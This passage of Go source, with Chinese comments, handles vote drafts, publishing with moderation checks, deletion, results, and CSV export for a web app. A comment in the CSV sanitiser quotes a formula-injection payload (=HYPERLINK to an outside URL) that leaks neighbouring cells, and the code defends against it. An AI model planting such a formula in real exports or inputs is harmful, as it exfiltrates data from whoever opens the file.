RequireCaptcha: form.opts.RequireCaptcha,
CensorMetadata: form.censorMetadata,
QuotaLimit: form.opts.QuotaLimit,
}); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to update vote")
renderVoteFormWithInput(ctx, true, vote.ID, "", true)
return
}
// 事务重建选项与表单字段(草稿阶段无历史数据,删除重建安全)
if err := db.VoteOptions.ReplaceByVoteID(ctx.Request().Context(), vote.ID, form.options); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to replace vote options")
renderVoteFormWithInput(ctx, true, vote.ID, i18n.T(ctx.Lang(), "vote.err.optionUpdateFailed"), false)
return
}
for i := range form.formFields {
form.formFields[i].VoteID = vote.ID
}
if err := db.VoteFormFields.ReplaceByVoteID(ctx.Request().Context(), vote.ID, form.formFields); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to replace vote form fields")
renderVoteFormWithInput(ctx, true, vote.ID, i18n.T(ctx.Lang(), "vote.err.fieldUpdateFailed"), false)
return
}
// 选项/字段已重建,结果聚合可能变化:主动失效该投票的结果缓存。
votepkg.InvalidateResultsCache(vote.ID)
action := strings.TrimSpace(ctx.Request().FormValue("action"))
editURL := "/user/votes/" + fmt.Sprint(vote.ID) + "/edit"
// action=preview:草稿已保存,跳转预览页(发布态由 VotePreview 内部跳真实参与页)。
if action == "preview" {
ctx.Redirect("/user/votes/" + fmt.Sprint(vote.ID) + "/preview")
return
}
// action=publish:已保存为草稿,再执行发布校验;失败则保留草稿并停留在编辑页
if action == "publish" {
// 用刚保存的内容刷新 vote 结构,供审核与结构校验读取最新标题/类型
vote.Title = form.opts.Title
vote.Description = form.opts.Description
vote.Type = form.opts.Type
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect(editURL)
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusPublished); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to publish vote")
ctx.SetInternalErrorFlash()
ctx.Redirect(editURL)
return
}
shareURL := fmt.Sprintf("%s/vote/%s", strings.TrimRight(conf.App.ExternalURL, "/"), vote.LinkToken)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.published", shareURL))
ctx.Redirect("/user/questions#votes")
return
}
// 草稿保存成功:停留在编辑页,使用页面 toast 提示,避免 success flash 与 toast 重复展示。
ctx.Redirect(editURL + "?saved=1")
}
// VotePublish 发布投票(draft → published)。草稿阶段跳过的结构校验与 fail-closed
// 内容审核在此统一补齐,确保对外公开内容仍受管控。
func VotePublish(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if vote.Status != db.VoteStatusDraft {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.publishDraftOnly"))
ctx.Redirect("/user/questions#votes")
return
}
// 站方处置:L2 起不得再发布新的公开内容(与「设公开」同口径)。
// 此前投票链路完全没有处置校验:被处置的箱主仍能发新投票并进探索页曝露。
level, _, err := db.Restrictions.ActiveLevel(ctx.Request().Context(), ctx.User.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to query user restriction")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
if db.RestrictionAtLeast(level, db.RestrictionL2) {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.restrictedPublish"))
ctx.Redirect("/user/questions#votes")
return
}
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusPublished); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to publish vote")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
shareURL := fmt.Sprintf("%s/vote/%s", strings.TrimRight(conf.App.ExternalURL, "/"), vote.LinkToken)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.published", shareURL))
ctx.Redirect("/user/questions#votes")
}
// validateForPublish 发布前补齐完整校验:结构合法性(标题/选项数/字段数/排序题选项数)
// + fail-closed 内容审核,确保对外公开的投票结构合法且内容合规。
func validateForPublish(ctx context.Context, vote *db.Vote) error {
if strings.TrimSpace(vote.Title) == "" {
return errors.New(i18n.T(ctx.Lang(), "vote.err.publishTitleRequired"))
}
if vote.Type == db.VoteTypeForm {
count, err := db.VoteFormFields.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil || count < 1 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.publishFormFieldsRequired"))
}
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
for i, f := range fields {
if f.FieldType == db.VoteFormFieldTypeRank {
if len(parseJSONStringArray(f.Options)) < 2 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldRankTooFew", i+1, f.Label))
}
}
}
} else if vote.Type != db.VoteTypeRating {
count, err := db.VoteOptions.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil || count < 2 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.publishOptionsRequired"))
}
}
if err := censorVoteForPublish(ctx, vote); err != nil {
return err
}
return nil
}
// voteOwnerStrictness 读取投票发起人本人的「审核严格度」档位。
// 不用 ctx.User:发布动作未必由发起人触发,ctx.User 可能是操作者,会导致
// 「按别人的档位审核别人箱子的内容」。取不到发起人时回退最严档——宁严勿松。
func voteOwnerStrictness(ctx context.Context, ownerID uint) censor.Strictness {
owner, err := db.Users.GetByID(ctx.Request().Context(), ownerID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).WithField("owner_id", ownerID).
Error("Failed to get vote owner for moderation strictness")
return censor.StrictnessStrict
}
return moderation.EffectiveStrictness(ctx.Request().Context(), ownerID, owner.ModerationStrictness)
}
// censorVoteForPublish 发布前对投票全部可见文本做内容审核(fail-closed)。
func censorVoteForPublish(ctx context.Context, vote *db.Vote) error {
// 同一次发布的全部文本必须用同一个档位裁决:否则标题走发起人档位、描述/选项走
// ctx.User 档位,一旦发布动作不是发起人触发,同一条投票会落到两个账号的松紧档上。
strictness := voteOwnerStrictness(ctx, vote.UserID)
check := func(text string) error {
_, err := moderation.Check(ctx.Request().Context(), strictness, ctx.Lang(), text)
return err
}
if vote.Title != "" {
if err := check(vote.Title); err != nil {
return err
}
}
if vote.Description != "" {
if err := check(vote.Description); err != nil {
return err
}
}
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), vote.ID)
for _, o := range options {
if err := check(o.Content); err != nil {
return err
}
}
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
for _, f := range fields {
if err := check(f.Label); err != nil {
return err
}
// 预置选项(select/radio/checkbox/rank)也纳入审核
for _, fo := range parseJSONStringArray(f.Options) {
if fo == "" {
continue
}
if err := check(fo); err != nil {
return err
}
}
}
return nil
}
// VoteClose 提前结束进行中的投票。
func VoteClose(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if vote.Status != db.VoteStatusPublished {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.closePublishedOnly"))
ctx.Redirect("/user/questions#votes")
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusEnded); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to close vote")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.closed"))
ctx.Redirect("/user/questions#votes")
}
// VoteDelete 删除投票(级联删除选项、表单字段与提交记录)。
//
// 实际删除动作全部在 db.Votes.DeleteWithCascade 的一个事务里完成,且是真删(Unscoped)。
func VoteDelete(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
// 级联删除必须是一个事务:原来四步独立写入、前三步失败只打 Warn,
// 中途失败会留下「选项没了但投票记录还在」这种界面无法修复的状态 ——
// 而重试删除时投票已不存在,只能报 not exist,脏数据永远留着。
//
// 顺带修掉一个隐私问题:这些表都带软删除,原来的 Delete 全是软删,
// 提交记录里参与者填写的文本、voter_ip、voter_token 只是「界面上看不到」,
// 库里永久留着。DeleteWithCascade 对四张表统一走 Unscoped 真删。
if err := db.Votes.DeleteWithCascade(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote with cascade")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
// 删除成功后再失效缓存。放在事务之后是有意的:
// 若先删缓存而事务回滚,读请求会立刻重新算一遍并再次填进旧值。
votepkg.InvalidateResultsCache(vote.ID)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.deleted"))
ctx.Redirect("/user/questions#votes")
}
// textReplyView 文本类字段单条提交内容的展示视图(按字段归类,内联在题目下方折叠展示)。
type textReplyView struct {
CreatedAt time.Time
Text string
}
// VotePreview 草稿预览:箱主在发布前查看参与页面样例(提交禁用)。
// 仅草稿状态可预览;发布后直接跳真实参与页。
func VotePreview(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if vote.Status != db.VoteStatusDraft {
ctx.Redirect("/vote/" + vote.LinkToken)
return
}
ctx.Data["Vote"] = vote
ctx.Data["IsOwner"] = true
ctx.Data["PreviewMode"] = true
ctx.Data["NotStarted"] = false
ctx.Data["Ended"] = false
ctx.Data["VoteScopeRegisteredOnly"] = vote.VoterScope == db.VoteVoterScopeRegisteredOnly
ctx.Data["IsLogged"] = true // 预览按登录态渲染,避免登录提示干扰样例
owner, err := db.Users.GetByID(ctx.Request().Context(), vote.UserID)
if err == nil {
ctx.Data["Owner"] = owner
}
if vote.Type == db.VoteTypeForm {
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
ctx.Data["FormFields"] = fields
} else if vote.Type != db.VoteTypeRating {
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), vote.ID)
ctx.Data["Options"] = options
}
// "其他/自定义选项"保留标记(与参与端 Page 一致)
ctx.Data["CustomFieldMarker"] = db.CustomFieldMarker
ctx.Data["HasVoted"] = false
ctx.Data["CanVote"] = true
ctx.Data["ShowResults"] = false
ctx.Data["Title"] = "预览:" + vote.Title
ctx.Success("vote/page")
}
// VoteResults 投票结果页:选项型(单选/多选/评分/排序)走统一聚合统计,
// 表单类型展示回复明细(仅箱主可见)。
func VoteResults(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
total, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to count submissions")
total = 0
}
var formFields []*db.VoteFormField
textReplies := map[string][]textReplyView{} // 文本类字段按标签归类,选择/评分/排序已聚合
results, err := votepkg.LoadResults(ctx, vote)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to load vote results")
}
if vote.Type == db.VoteTypeForm {
formFields, _ = db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 短 TTL 缓存回复明细解析结果(逐条 json.Unmarshal 全部提交记录的 O(N) 开销)。
replyKey := strconv.FormatUint(uint64(vote.ID), 10)
// 带 ok 的断言:缓存里若混入别的类型,裸断言会直接 panic 掉整个结果页。
// 类型不符时丢弃该条缓存并走重建分支(所以不能用 else 接在外层 if 后)。
fromCache := false
if cached, ok := voteTextRepliesCache.Get(replyKey); ok {
if parsed, isMap := cached.(map[string][]textReplyView); isMap {
textReplies = parsed
fromCache = true
} else {
voteTextRepliesCache.Delete(replyKey)
}
}
if !fromCache {
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), vote.ID, nil)
for _, s := range submissions {
var data map[string]interface{}
if len(s.FormData) > 0 {
_ = json.Unmarshal(s.FormData, &data)
}
for _, f := range formFields {
if f.FieldType == db.VoteFormFieldTypeText || f.FieldType == db.VoteFormFieldTypeTextarea {
if val, ok := data[f.Label].(string); ok && strings.TrimSpace(val) != "" {
textReplies[f.Label] = append(textReplies[f.Label], textReplyView{CreatedAt: s.CreatedAt, Text: val})
}
}
}
}
voteTextRepliesCache.Set(replyKey, textReplies, voteTextRepliesCacheTTL)
}
}
ctx.Data["Vote"] = vote
ctx.Data["Total"] = total
ctx.Data["Results"] = results
ctx.Data["FormFields"] = formFields
ctx.Data["TextReplies"] = textReplies
ctx.Data["Title"] = "投票结果"
ctx.Success("user/vote-results")
}
// sanitizeCSVCell 防 CSV 公式注入。
//
// Excel / LibreOffice / WPS 会把以 = + - @ 开头的单元格当公式执行,
// 于是「选项名」或「参与者填的文本」里写 =HYPERLINK("http://x?"&A1) 就能在
// 打开导出文件的人机器上把邻列内容外带出去。前置单引号会让它变成纯文本
// (CSV 里单引号不会显示出来,Excel 读到也不当公式)。
//
// 判断用 trim 后的首字符:带前导空格/制表符的 =SUM(1) 在部分表格软件里
// 仍会被解析成公式,只看第一个字节会漏。
func sanitizeCSVCell(s string) string {
trimmed := strings.TrimLeft(s, " \t\r\n")
if trimmed == "" {
return s
}
r := []rune(trimmed)[0]
if r == '=' || r == '+' || r == '-' || r == '@' {
return "'" + s
}
return s
}
// formatFieldValue 将表单字段值格式化为可读文本:多选数组 → "A、B";
// 排序 map → "首选:1;次选:2"(按键排序保证稳定);其余原样。
func formatFieldValue(v interface{}) string {
switch val := v.(type) {
case []interface{}:
parts := make([]string, 0, len(val))
for _, x := range val {
parts = append(parts, fmt.Sprint(x))
}
return strings.Join(parts, "、")
case map[string]interface{}:
keys := make([]string, 0, len(val))
for k := range val {
keys = append(keys, k)
}
sort.Strings(keys)
parts := make([]string, 0, len(keys))
for _, k := range keys {
parts = append(parts, fmt.Sprintf("%s:%v", k, val[k]))
}
return strings.Join(parts, ";")
default:
return fmt.Sprint(v)
}
}
// VoteExportCSV 导出投票结果 CSV:选项型每选项一行(内容 + 票数/均值)末行总参与;
// 表单型每行一条回复(提交时间 + 各字段列)。前置 UTF-8 BOM 保证 Excel 中文不乱码。
func VoteExportCSV(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
var buf strings.Builder
buf.WriteString("\xef\xbb\xbf") // UTF-8 BOM
w := csv.NewWriter(&buf)
if vote.Type == db.VoteTypeForm {
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 字段名是箱主自己填的,同样可能是 =HYPERLINK(...) 形式。
header := []string{"提交时间"}
for _, f := range fields {
header = append(header, sanitizeCSVCell(f.Label))
}
_ = w.Write(header)
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), vote.ID, nil)
for _, s := range submissions {
var data map[string]interface{}
_ = json.Unmarshal(s.FormData, &data)
row := []string{s.CreatedAt.Format("2006-01-02 15:04:05")}
for _, f := range fields {
row = append(row, sanitizeCSVCell(formatFieldValue(data[f.Label])))
}
_ = w.Write(row)
}
} else {
res, err := votepkg.LoadResults(ctx, vote)
if err != nil {
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
_ = w.Write([]string{"选项", "票数"})
switch res.Type {
case db.VoteTypeSingle, db.VoteTypeMultiple:
for _, o := range res.Options {
_ = w.Write([]string{sanitizeCSVCell(o.Option.Content), strconv.FormatInt(o.Count, 10)})
}
case db.VoteTypeRating:
for _, r := range res.Ratings {
_ = w.Write([]string{fmt.Sprintf("%d 分", r.Score), strconv.FormatInt(r.Count, 10)})
}
_ = w.Write([]string{"平均分", fmt.Sprintf("%.2f", res.AvgRating)})
case db.VoteTypeRank:
for _, r := range res.Rankings {
_ = w.Write([]string{sanitizeCSVCell(r.Option.Content), fmt.Sprintf("%.2f", r.AvgRank)})
}
_ = w.Write([]string{"平均排名", fmt.Sprintf("%.2f", res.AvgRank)})
}
// 自定义补充选项(开启 AllowCustom 时)
if len(res.CustomStats) > 0 {
_ = w.Write([]string{"自定义补充", "次数"})
for _, c := range res.CustomStats {
_ = w.Write([]string{sanitizeCSVCell(c.Text), strconv.FormatInt(c.Count, 10)})
}
}
_ = w.Write([]string{"总参与", strconv.FormatInt(res.Total, 10)})
}
w.Flush()
ctx.ResponseWriter().Header().Set("Content-Type", "text/csv; charset=utf-8")
ctx.ResponseWriter().Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="vote_%d.csv"`, vote.ID))
ctx.ResponseWriter().Header().Set("X-Content-Type-Options", "nosniff")
ctx.ResponseWriter().WriteHeader(http.StatusOK)
_, _ = ctx.ResponseWriter().Write([]byte(buf.String()))
}